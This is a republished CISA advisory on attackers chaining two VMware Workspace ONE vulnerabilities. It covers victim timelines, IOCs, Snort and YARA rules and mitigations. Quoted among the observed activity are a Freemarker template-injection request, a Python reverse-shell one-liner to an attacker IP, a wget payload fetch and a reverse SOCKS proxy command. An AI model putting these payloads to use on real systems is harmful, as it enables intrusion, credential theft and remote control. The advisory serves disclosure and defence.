AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control



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AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control

us-cert.cisa.gov

Original release date: May 18, 2022 | Last revised: June 2, 2022

Summary

Update June 2, 2022:

This Cybersecurity Advisory (CSA) has been updated with additional indicators of compromise (IOCs) and detection signatures, as well as tactics, techniques, and procedures (TTPs) from trusted third parties. 

Update End

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this CSA to warn organizations that malicious cyber actors, likely advanced persistent threat (APT) actors, are exploiting CVE-2022-22954 and CVE-2022-22960 separately and in combination. These vulnerabilities affect certain versions of VMware Workspace ONE Access, VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager. Exploiting these vulnerabilities permits malicious actors to trigger a server-side template injection that may result in remote code execution (RCE) (CVE-2022-22954) or escalation of privileges to root (CVE-2022-22960). 

VMware released updates for both vulnerabilities on April 6, 2022, and, according to a trusted third party, malicious cyber actors were able to reverse engineer the updates to develop an exploit within 48 hours and quickly began exploiting the disclosed vulnerabilities in unpatched devices. CISA was made aware of this exploit a week later and added CVE-2022-22954 and CVE-2022-22960 to its catalog of Known Exploited Vulnerabilities on April 14 and April 15, respectively. In accordance with Binding Operational Directive (BOD) 22-01, Reducing the Significant Risk of Known Exploited Vulnerabilities, federal agencies were required to apply updates for CVE-2022-22954 and CVE-2022-22960 by May 5, and May 6, 2022, respectively

Note: based on this activity, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. In response, CISA has released, Emergency Directive (ED) 22-03 Mitigate VMware Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch agencies to either immediately implement the updates in VMware Security Advisory VMSA-2022-0014 or remove the affected software from their network until the updates can be applied.

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information—including IOCs—about observed exploitation at multiple other large organizations from trusted third parties.

This CSA provides IOCs and detection signatures from CISA as well as from trusted third parties to assist administrators with detecting and responding to this activity. 

Update June 2, 2022:

This CSA also provides TTPs of this activity from trusted third parties to assist administrators with detecting and responding to this activity. 

Update End

Due to the rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with internet-facing affected systems—that did not immediately apply updates—to assume compromise and initiate threat hunting activities using the detection methods provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 349kb).

For a downloadable copy of IOCs, see AA22-138B.stix

Technical Details

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information about observed exploitation of CVE-2022-22954 and CVE-2022-22960 by multiple threat actors at multiple other large organizations from trusted third parties.

  • CVE-2022-22954 enables an actor with network access to trigger a server-side template injection that may result in RCE. This vulnerability affects the following products:[1]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • VMware Cloud Foundation, 4.x
    • vRealize Suite LifeCycle Manager, 8.x
  • CVE-2022-22960 enables a malicious actor with local access to escalate privileges to root due to improper permissions in support scripts. This vulnerability affects the following products:[2]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM, versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • vRA, version 7.6 
    • VMware Cloud Foundation, 3.x, 4.x, 
    • vRealize Suite LifeCycle Manager, 8.x

According to trusted third-party reporting, threat actors may chain these vulnerabilities. At one compromised organization, on or around April 12, 2022, an unauthenticated actor with network access to the web interface leveraged CVE-2022-22954 to execute an arbitrary shell command as a VMware user. The actor then exploited CVE-2022-22960 to escalate the user’s privileges to root. With root access, the actor could wipe logs, escalate permissions, and move laterally to other systems. 

Update June 2, 2022:

For more information about this compromised organization, see the Victim 1 section.

Update End

Threat actors have dropped post-exploitation tools, including the Dingo J-spy webshell, a publicly available webshell that includes command execution, a file manager, a database manager, and a port scanner. During incident response activities, CISA observed, on or around April 13, 2022, threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell. Around the same period, a trusted third party observed threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell at one other organization. According to the third party, the actors may have also dropped the Dingo J-spy webshell at a third organization. Note: analysis of the first compromise and associated malware is ongoing, and CISA will update information about this case as we learn more.

Update June 2, 2022:

The following sections include additional information, including IOCs and TTPs, from trusted third parties about two confirmed compromises. See the appendix for TTPs in this CSA mapped to the MITRE ATT&CK for Enterprise framework.

Victim 1 

The trusted third party assesses that multiple threat actors (referred to as Threat Actor 1 [TA1] and Threat Actor 2 [TA2]) gained access to a public-facing server running VMWare Workspace ONE Access. TA1 downloaded a malicious shell script, which they used to collect and exfiltrate sensitive data. TA2 interacted with the server (without automation or scripts) and installed multiple webshells and a reverse secure socket (SOCKS) proxy.

Threat Actor 1

On April 12, TA1 exploited CVE 2022-22954 [T1203] to download [T1105] a malicious shell script [T1059] from https://20.232.97[.]189/up/80b6ae2cea.sh

TA1 first targeted Freemarker—a legitimate application that allows for customized notifications by creating templates—to send the following customized GET request URI to the compromised server [T1071.001]:

GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22cat%20/usr/local/horizon/conf/system-config.properties%22%29%7DHTTP/1.1

The GET request resulted in the server downloading the malicious shell script, 80b6ae2cea[.]sh, to VMware Workspace ONE Access directory /usr/local/horizon/scripts/. TA1 then chained CVE 2022-22960 to the initial exploit to run the shell script with root privileges ([T1068], [TA0004]). The script was executed with the SUDO command.

The script, which contained VMware Workspace ONE Access directory paths and file locations, was developed for data exfiltration [TA0010]. The malicious script collected [TA0009] sensitive files–including user names, passwords, master keys, and firewall rules–and stored them in a “tar ball” (a “tar ball” is a compressed and zipped file used by threat actors for collection and exfiltration) [T1560]. The tar ball was located in a VMWare Workspace ONE Access directory: /opt/vmware/horizon/workspace/webapps/SAAS/horizon/images/.

The malicious script then deleted evidence of compromise [TA0005] by modifying logs to their original state and deleting files [T1070]. TA1 deleted many files and logs, including fd86ald0.pem,  localhost_access logs, logs associated with the VMWare Horizon application, and greenbox logs for the date of activity (April 12).  

Note: CISA received a similar malicious Bash script for analysis from a trusted third party at a different known compromise. See Victim 2 section for more information.

On April 12, TA1 also downloaded jtest.jsp, a JSP webshell, to the server’s web directory /SAAS/Horizon/js-lib/ from IP address 186.233.187[.]245.

TA1 returned to the server on April 12 to collect sensitive data stored in the “tar ball” by GET request.

Threat Actor 2

On April 13 and 14, TA2 sent many GET requests to the server exploiting—or attempting to exploit—CVE 2022-22954 to obtain RCE, upload binaries, and upload webshells [T1505.003] for persistence [TA0003].

  • On April 13, TA2 attempted to download a webshell app.jsp (MD5 4cd8366345ad4068feca4d417738b4bd) from IP address 51.79.171[.]53. app.jsp is a publicly available [T1588.001] webshell known as Godzilla.
  • On April 13, TA2 downloaded a JSP webshell (MD 5 F8FF5C72E8FFA2112B01802113148BD1) from http://84.38.133[.]149/img/icon1.gif.
  • On April 13, TA2 sent thousands of Unix commands [T1059.004] from IP address 84.38.133[.]149, some of which enabled TA2 to view /etc/passwd and /etc/shadow password files ([TA0006], [T1003.008]). The Unix commands included whoami, id, and cat.

The trusted third party found two copies of the Dingo J-spy webshell (MD5 5b0bfda04a1e0d8dcb02556dc4e56e6a) in web directories: horizon_all.jsp was in the /opt/vmware/horizon/workspace/webapps/SAAS/horizon/portal/ web directory and jquery.jsp was in the /webapps/cas/static/ directory. The third party was unable to determine how and when the webshells were created. TA2 used POST requests to communicate with the Dingo J-spy webshells. The commands and output were encrypted with an XOR key [T1573.001].

On April 14, TA2 downloaded a reverse SOCKS proxy [T1090]. TA2 first sent a GET request with the CHMOD command to change the permissions of .tmp12865xax, a hidden file in the /tmp directory [T1222.002]. The actor then downloaded a binary (MD5  dc88c5fe715b5f706f9fb92547da948a) from https://github[.]com/kost/revsocks/releases/download/v1.1.0/revsocks_linux_amd64. The binary is a reverse socks5 tunneling binary with TLS/SSL support and connects to https://149.248.35[.]200.sslip.io.

Additional Threat Actor Activity

The trusted third party observed additional threat actor activity that does not seem to be related to TA1 or TA2. On 13 April, IP address 172.94.89[.]112 attempted to connect a reverse shell on the compromised server to IP Address 100.14.239[.]83 on port 5410. The threat actor used the following command:

freemarker.template.utility.Execute\"?new()(\"/usr/bin/python3.7 -c  \\'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s. connect((\\\"100[.]14[.]239[.]83\\\",5410));os.dup2(s.fileno(),0);  os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/usr/bin/sh\\\",\\\"- i\\\"]);\\'\")}  

Victim 2 

CISA received a related malicious Bash script for analysis from a trusted third party. The analyzed script, deployed on or around April 12, exploits CVE 2022-22960 and allows a Horizon user to escalate privileges and execute commands and scripts as a superuser (sudo). The Bash script also allows the user to collect network information and additional information.

The script overwrites the publishCaCert.hzn script on fd86ald0.pem file and executes commands that compress a list of files containing information such as network interface configuration, list of users, passwords, masterkeys, hosts, and domains to a TAR archive. The TAR archive, located in a VMWare Workspace ONE Access directory, /opt/vmware/horizon/workspace/webapps/SAAS/horizon/images/, is assigned read and write permissions to the Horizon web user and read to all users.  

The malicious script deletes evidence of compromise by overwriting publishCaCert.hzn with fd86ald0.pem and then removing fd86ald0.pem.

The trusted third party observed the following IPs downloading, executing, and checking the bash script.

  • 45.72.112[.]245
  • 115.167.53[.]141
  • 191.102.179[.]197
  • 209.127.110[.]126
  • 45.72.85[.]172
  • 192.241.67[.]12

The trusted third party observed the following additional malicious IPs:

  • 20.232.97[.]189 – used for command for control [TA0011]
  • 194.31.98[.]141 – attempted to download MoneroOcean miner from Github
  • 8.45.41[.]114 – ran cat on a number of files in /usr/local/horizon/conf
  • 85.203.36[.]66 – attempted to pull down a JSP webshell from http://84.38.133[.]149/img/icon.gif

Update End

Detection Methods

Signatures

Note: servers vulnerable to CVE-2022-22954 may use Hypertext Transfer Protocol Secure (HTTPS) to encrypt client/server communications. Secure Sockets Layer (SSL)/Transport Layer Security (TLS) decryption can be used as a workaround for network-based detection and threat hunting efforts.

The following CISA-created Snort signature may detect malicious network traffic related to exploitation of CVE-2022-22954:

alert tcp any any -> any $HTTP_PORTS (msg:"VMware:HTTP GET URI contains '/catalog-portal/ui/oauth/verify?error=&deviceUdid=':CVE-2022-22954"; sid:1; rev:1; flow:established,to_server; content: "GET"; http_method; content:"/catalog-portal/ui/oauth/verify?error=&deviceUdid="; http_uri; reference:cve,2022-22954; reference:url,github.com/sherlocksecurity/VMware-CVE-2022-22954;

reference:url,github.com/tunelko/CVE-2022-22954-PoC/blob/main/CVE-2022-22954.py; priority:2; metadata:service http;)

The following third-party Snort signature may detect exploitation of VMware Workspace ONE Access server-side template injection:

10000001alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Workspace One Serverside Template Injection";content:"GET"; http_method; content:"freemarker.template.utility.Execute";nocase; http_uri; priority:1; sid:;rev:1;)

Update June 2, 2022:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"Workspace One Serverside  Template Injection";content:"GET"; http_method;  content:"freemarker.template.utility.Execute";nocase; http_uri; priority:1; sid:100000001;rev:1;)  

Update End

The following third-party YARA rule may detect unmodified instances of the Dingo J-spy webshell on infected hosts:

rule dingo_jspy_webshell
{
strings:
$string1 = "dingo.length"
$string2 = "command = command.trim"
$string3 = "commandAction"
$string4 = "PortScan"
$string5 = "InetAddress.getLocalHost"
$string6 = "DatabaseManager"
$string7 = "ExecuteCommand"
$string8 = "var command = form.command.value"
$string9 = "dingody.iteye.com"
$string10 = "J-Spy ver"
$string11 = "no permission ,die"
$string12 = "int iPort = Integer.parseInt"
condition:
filesize < 50KB and 12 of ($string*)
}

Note: the Dingo J-spy webshell is an example of post-exploitation tools that actors have used. Administrators should examine their network for any sign of post-exploitation activity.

Update June 2, 2022:

The following third-party YARA rule may detect unmodified instances of the Godzilla webshell on infected hosts:

rule Godzilla_Webshell  
{   
 strings:  
 $string1 = "TomcatListenerMemShellFromThread"  
 $string2 = "String xc ="  
 $string3 = "String pass ="  
 $string4 = "ServletRequestListener"  
 $string5 = "cmds = new String"  
 $string6 = "cmd"  
 $string7 = "bin/bash"  
 $string8 = "getInputStream"  
 $string9 = "javax.crypto.Cipher c = javax.crypto.Cipher.getInstance"  
 $string10 = "godzilla"  
 condition:  
 filesize < 20KB and 10 of ($string*)  

The following third-party YARA rule may detect unmodified instances of the TomCat JSP webshell on infected hosts:

rule Tomcatjsp_Webshell  
{  
 strings:  
 $string1 = "ExecShellCmd"  
 $string2 = "stCommParams"  
 $string3 = "nKeyOffset = EncryptData"  
 $string4 = "InputStream is = process.getInputStream"  
 $string5 = "Process process = Runtime.getRuntime"  
 $string6 = "ExecBinary"  
 $string7 = "byte bzKey"  
 $string8 = "nKeyOffset++"  
 $string9 = "HttpServletRequest request, HttpServletResponse response"   $string10 = "connect_test cmd"  
 $string11 = "exec cmd"  
 $string12 = "file upload"  
 condition:  
 filesize < 25KB and 12 of ($string*)  

 

The following third-party YARA rule may detect unmodified instances of the reverse SOCKS proxy on infected hosts.

rule reversesocks_tool  
{  
 md5 = "dc88c5fe715b5f706f9fb92547da948a"   strings:  
 $string1 = "revsocks"  
 $string2 = "-connect"  
 $string3 = "client:8080 -pass test"  
 $string4 = "RSA TESTING KEY"  
 $string5 = "SETTINGS_MAX_CONCURRENT_STREAMS"   $string6 = "Start on the server:"  
 $string7 = "closing connection"  
 $string8 = "socks 127.0.0.1:1080"  
 $string9 = "revsocks -listen :8080"  
 condition:  
 uint16(0) == 0x457F and filesize < 6MB and 8 of ($string*)  } 

Update End

Behavioral Analysis and Indicators of Compromise

Administrators should conduct behavioral analysis on root accounts of vulnerable systems by: 

  • Using the indicators listed in table 1 to detect potential malicious activity.
  • Reviewing systems logs and gaps in logs.
  • Reviewing abnormal connections to other assets.
  • Searching the command-line history.
  • Auditing running processes.
  • Reviewing local user accounts and groups.  
  • Auditing active listening ports and connections.

Table 1: Third-party IOCs for Exploitation of CVE-2022-22954 and CVE-2022-22960 
Used around April 12–14, 2022 (Updated June 2, 2022)
 

IP Addresses
Indicator Comment
136.243.75[.]136  On or around April 12, 2022, malicious cyber actors may have used this German-registered IP address to conduct the activity. However, the actors may have used the Privax HMA VPN client to conduct operations. 
Update June 2, 2022:
84.38.133[.]149 A threat actor used this IP for command and control.
186.233.187[.]245 This IP attempted to upload webshells.  The user agent string for this IP was Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 
212.227.198[.]95  
20.232.97[.]189 A threat actor used this IP for command and control (see Victim 1 and Victim 2 sections). 
160.20.145[.]225  
149.248.35[.]200  
100.14.239[.]83 A threat actor attempted to connect a reverse shell on the compromised server to this IP address.
51.79.171[.]53 This IP address attempted to upload a webshell
172.94.89[.]112 This IP address attempted to have a reverse shell on the compromised server to connect back to IP Address 100.14.239[.]83 on port 5410.
83.84.74[.]155   
194.31.98[.]141 This IP attempted to download MoneroOcean miner from Github.
8.45.41[.]114 This IP ran cat on a number of files in /usr/local/horizon/conf.
85.203.36[.]66  This IP attempted to pull down a JSP webshell from http://84.38.133[.]149/img/icon.gif.
45.72.112[.]245 These IPs downloaded, executed, and checked a malicious bash script.
115.167.53[.]141
191.102.179[.]197
209.127.110[.]126
45.72.85[.]172
192.241.67[.]12
Domains
https://149.248.35[.]200.sslip[.]io  
sslip[.]io    
https://github[.]com/kost/revsocks/releases/download  
Update End
Scanning, Exploitation Strings, and Commands Observed
catalog-portal/ui/oauth/verify    

catalog 

portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat  /etc/hosts")} 

 

/catalog 

portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget  -U "Hello 1.0" -qO - http://[REDACTED]/one")} 

 
freemarker.template.utility.Execute

Search for this function in: 

/opt/vmware/horizon/workspace/logs/greenbox_web.log

Update June 2, 2022:

or /opt/vmware/horizon/workspace/logs/greenbox_web.log*

freemarker.template.utility.Execute may be legitimate but could also indicate malicious shell commands. You should URL decode the logs before searching for freemarker.template.utility.Execute.

  Update End
/opt/vmware/certproxy/bing/certproxyService.sh  Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.
/horizon/scripts/exportCustomGroupUsers.sh  Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.
/horizon/scripts/extractUserIdFromDatabase.sh   Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.
Update June 2, 2022:
.tmp12865xax2 -connect 149[.]248[.]35[.]200.sslip[.]io:443 -pass  OneTwoOne123!" (Bash)  
Update End  
Files

horizon.jsp  

June 2, 2022 Update:

(jquery.jsp)

5b0bfda04a1e0d8dcb02556dc4e56e6a (MD 5)

Update End

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 
Update June 2, 2022:
jest.jsp  
74805fa847acac6adc896968421ec9e (MD 5)  
dc88c5fe715b5f706f9fb92547da948a (MD 5) Reverse SOCKS proxy
Update End
Webshells

jspy  

Update June 2, 2022:

C509282c94b504129ac6ef168a3f08a8 (MD 5)

Update End

 

godzilla 

Update June 2, 2022:

app.jsp 

4cd8366345ad4068feca4d417738b4bd (MD 5)

Update End

 
tomcatjsp    

 

Update May 25, 2022: see Palo Alto Networks Unit 42 Threat Brief: VMware Vulnerabilities Exploited in the Wild (CVE-2022-22954 and Others) for additional IOCs to detect possible exploitation or compromise. Note: due to the urgency to share this information, CISA has not yet validated this content.

Incident Response

If administrators discover system compromise, CISA recommends they:

  1. Immediately isolate affected systems. 
  2. Collect and review relevant logs, data, and artifacts.
  3. Consider soliciting support from a third-party incident response organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  4. Report incidents to CISA via CISA’s 24/7 Operations Center ([email protected] or 888-282-0870).

Mitigations

CISA recommends organizations update impacted VMware products to the latest version or remove impacted versions from organizational networks. CISA does not endorse alternative mitigation options. As noted in ED 22-03 Mitigate VMware Vulnerabilities, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. ED 22-03 directs all Federal Civilian Executive Branch agencies to enumerate all instances of impacted VMware products and deploy updates in VMware Security Advisory VMSA-2022-0014 or to remove the affected software from the agency network until the updates can be applied.

Resources

Contact Information 

CISA encourages recipients of this CSA to report incidents to CISA via CISA’s 24/7 Operations Center ([email protected] or 888-282-0870)

References

[1] VMware Security Advisory VMSA-2022-0011
[2] Ibid

Update June 2, 2022:

Appendix: Mitre  Att&ck TTPS

Threat actors and their malware have used the TTPs in table 1 when exploiting CVE-2022-22954 and/or CVE-2022-22960 and conducting related activity. See the ATT&CK for Enterprise framework for all referenced threat actor tactics and techniques.

Table 2: MITRE ATT&CK TTPs

Tactic  Technique
Resource Development [TA0042] Obtain Capabilities: Malware [T1588.001]
Execution [TA0002] Command and Scripting Interpreter [T1059]
Command and Scripting Interpreter: Unix Shell [T1059.004
Exploitation for Client Execution  [T1203]
Persistence  [TA0003] Server Software Component: Web Shell  [T1505.003
Privilege Escalation [TA0004] Exploitation for Privilege Escalation [T1068]
Defense Evasion [TA0005

File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification

[T1222.002]

Indicator Removal on Host [T1070]

Credential Access [TA0006]
  • OS Credential Dumping: /etc/passwd and /etc/shadow
  • [T1003.008]
Collection [TA0009]

Archive Collected Data [T1560]

Command and Control [TA0011] Application Layer Protocol: Web Protocols [T1071.001]
Encrypted Channel: Symmetric Cryptography  [T1573.001]
Proxy [T1090]
Ingress Tool Transfer [T1105]
Exfiltration [TA0004]  

Update End

References

Revisions

  • Initial Version: May 18, 2022
  • May 25, 2022: Added Industry Resource
  • June 2, 2022: Added Detection Signatures, IOCs, and TTPs

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Original release date: September 22, 2022SummaryTraditional approaches to securing OT/ICS do not adequately address current threats. Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critic

AA22-257A: Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations

vom 605.83 Punkte
Original release date: September 14, 2022SummaryActions to take today to protect against ransom operations: • Keep systems and software updated and prioritize remediating known exploited vulnerabilities. • Enforce MFA. • Make offline backups of your data. This joint Cybersecurity Advisory (

AA22-110A: Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure

vom 598.65 Punkte
Original release date: April 20, 2022 | Last revised: May 9, 2022SummaryActions critical infrastructure organizations should implement to immediately protect against Russian state-sponsored and criminal cyber threats: • Patch all systems. Prioritize patchin

AA22-083A: Tactics, Techniques, and Procedures of Indicted State-Sponsored Russian Cyber Actors Targeting the Energy Sector

vom 508.31 Punkte
Original release date: March 24, 2022SummaryActions to Take Today to Protect Energy Sector Networks: • Implement and ensure robust network segmentation between IT and ICS networks. • Enforce MFA to authenticate to a system. • Manage the creation

AA22-158A: People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices

vom 433.65 Punkte
Original release date: June 7, 2022 | Last revised: June 8, 2022SummaryBest Practices • Apply patches as soon as possible • Disable unnecessary ports and protocols • Replace end-of-life infrastructure • Implement a centralized patch management system This jo

Team Security Diskussion über AA22-138B: Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control